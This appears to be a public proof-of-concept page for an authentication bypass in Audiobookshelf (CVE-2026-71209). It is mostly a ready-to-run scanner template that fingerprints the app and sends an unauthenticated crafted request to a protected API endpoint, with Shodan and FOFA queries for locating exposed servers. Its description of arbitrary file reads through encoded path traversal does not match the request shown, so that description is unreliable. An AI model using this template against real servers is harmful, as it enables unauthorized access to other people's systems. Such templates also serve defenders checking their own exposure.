CVE-2026-71209: Audiobookshelf - Authentication Bypass

2026-08-16 Audiobookshelf PoC Public

Description

Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.

PoC

id: CVE-2026-71209

info:
  name: Audiobookshelf - Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version with proper decoding and authentication checks for path parameters.
  reference:
    - https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-71209
    epss-score: 0.02005
    epss-percentile: 0.79816
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: audiobookshelf
    product: audiobookshelf
    shodan-query: title:"audiobookshelf"
    fofa-query: title="audiobookshelf"
  tags: cve,cve2026,audiobookshelf,auth-bypass,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "audiobookshelf", "Audiobookshelf")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/collections?r=/api/items/1/cover HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "collections")'
        condition: and
# digest: 4a0a0047304502201de5bd5e2d98781d56ed9519ecd7897bab623d215f805272bd0eec4a00441dae022100b1f9292cd151c331329fe6a40339932d9a6993a7eac73a466b33b069a78b40c3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities